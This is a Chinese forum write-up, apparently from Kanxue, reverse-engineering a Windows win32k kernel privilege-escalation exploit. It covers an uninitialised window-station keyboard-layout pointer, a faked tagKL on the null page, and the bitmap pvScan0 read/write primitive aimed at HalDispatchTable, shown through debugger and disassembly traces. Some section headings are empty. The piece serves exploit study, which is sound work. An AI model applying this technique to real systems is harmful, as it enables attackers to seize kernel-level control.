其他
Windows提权逆向
01 Windows内核提权思路
提权一
提权二
提权三
02 成因
03 利用
04 逆向
窗口站
SetBitmap
总结
>>>> 提权一
提权一
>>>> 提权二
提权二
>>>> 提权三
提权三
1: kd> .process /i 87b06c08
1: kd> g
0: kd> .reload /f /user
0: kd> .process
>>>> 窗口站
窗口站
用户调用CreateWindowStation创建新的窗口站时,最终会调用内核函数xxxCreateWindowStation执行窗口站的创建,但是在该函数执行期间,被创建的新窗口站实例的spklList指针并没有被初始化,指向的是空地址。
hSta 句柄=58,对应在内核中窗口站地址是87a85d48:
001b:0124690b 6a00 push 0 //0
001b:0124690d 6800000200 push 20000h //READ_CONTROL
001b:01246912 6a00 push 0 //0
001b:01246914 6a00 push 0 //0
001b:01246916 ff1588522c01 call dword ptr [test!_imp__CreateWindowStationW (012c5288)]
001b:012469c0 8d85d0fcffff lea eax,[ebp-330h] //002cf450 00000090
001b:012469c6 50 push eax //eax=002cf450=buff
001b:012469c7 6a20 push 20h
001b:012469c9 6a01 push 1
001b:012469cb 6a01 push 1
001b:012469cd 6a60 push 60h
001b:012469cf ff1504502c01 call dword ptr [test!_imp__CreateBitmap (012c5004)]
002c30e4 00000060
002c30e8 00000001
002c30ec 00000001
002c30f0 00000020
构造tagkl(目标键盘布局)对象的结构体指针piiex指向的输入法信息对象的缓冲区。
001b:01246a70 8b8594fcffff mov eax,dword ptr [ebp-36Ch] //eax=00000000==>pkl->hkl
001b:01246a76 8b8da0fcffff mov ecx,dword ptr [ebp-360h] //ecx=fdab8368=wpv
001b:01246a7c 894814 mov dword ptr [eax+14h],ecx //[eax+14]==>[0+14]==>pkl->hkl = (HKL__ *)wpv;
001b:01246a7f 8b85acfcffff mov eax,dword ptr [ebp-354h]
001b:01246a85 83e804 sub eax,4 //eax-4=eax=fe667034
001b:01246a88 8b8d94fcffff mov ecx,dword ptr [ebp-36Ch] //002cf414 00000000 ==>ecx=00000000==>pkl
001b:01246a8e 89412c mov dword ptr [ecx+2Ch],eax //eax=fe667034==>0000002c fe667034
001b:01246a91 685c010000 push 15Ch
001b:01246a96 8d8530fbffff lea eax,[ebp-4D0h]
001b:01246a9c 50 push eax
001b:01246a9d e816c7ffff call test!ILT+435(_RtlSecureZeroMemory) (012431b8)
>>>> SetBitmap
SetBitmap
a. Bitmap分析
(1)setbitmap代码分析
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
001b:01246be7 8d850cfbffff lea eax,[ebp-4F4h] &oaddr
001b:01246bed 50 push eax //eax=002cf28c
001b:01246bee 6a04 push 4 // 00000004 ==》sizeof
001b:01246bf0 8b8dc4fcffff mov ecx,dword ptr [ebp-33Ch] //1205067e==》gManger
001b:01246bf6 51 push ecx //push 1205067e
001b:01246bf7 ff1508502c01 call dword ptr [test!_imp__SetBitmapBits (012c5008)]
b. bp win32k!NtGdiSetBitmapBits下断点进行分析
v6 = GreSetBitmapBits(a1, Size, Address, &v4);进行分析。
940d3b0b 8d45dc lea eax,[ebp-24h] 8c16abe8 8c16abfc
940d3b0e 50 push eax //push 8c16abfc==>&v4 ==>8c16abfc 00000000 ==>0
940d3b0f ff7510 push dword ptr [ebp+10h] //002cf28c ==> Address ==>002cf28c 83f6e3fc nt!HalDispatchTable+0x4
940d3b12 ff750c push dword ptr [ebp+0Ch] //push 00000004 ==>sizeof
940d3b15 ff7508 push dword ptr [ebp+8] //push 1205067e ==>gManger==>a1
940d3b18 e8dbcf0800 call win32k!GreSetBitmapBits (94160af8)
v9是算出来的计算公式如下:
94160c61 53 push ebx
94160c62 8d4d80 lea ecx,[ebp-80h] 8c16ab44 00000000
94160c65 51 push ecx //8c16ab40 8c16ab54 ==>ecx=8c16ab54==>(struct _SURFOBJ *)&v12 ==> _SURFOBJ *a2
94160c66 50 push eax //8c16ab3c fe667018 ==>eax = fe667018 ==》v9=fdf6bd38 +20= FDF6BD58 =wpv ==> _SURFOBJ *a1
/*
*/
94160c67 e8a5000000 call win32k!bDoGetSetBitmapBits (94160d11)
利用Bitmap内核对象中的pvScan0字段+10的位置系统API的GetBitmapBits和SetBitmapBits可以读写pvScan0所指向内存地址的内容。
(2)因此这个v9计算公式俩种。
d. 拷贝
9416101b c745fc05000000 mov dword ptr [ebp-4],5 8c16ab30 00000005
94161022 53 push ebx ebx=00000004
94161023 ff750c push dword ptr [ebp+0Ch] 8c16ab40 002cf28c ==>002cf28c==>002cf28c 83f6e3fc nt!HalDispatchTable+0x4
94161026 ff7508 push dword ptr [ebp+8] 8c16ab3c fdab8368 ==》fdab8368==》wpv
win32k!bDoGetSetBitmapBits+0x318:
94161029 e87208ffff call win32k!memcpy (941518a0) fdab8368 ==>wpv
>>>> 总结
总结
看雪ID:东方二狗
https://bbs.pediy.com/user-798435.htm
推荐文章++++
* ollvm源码分析 - Pass之SplitBaiscBlocks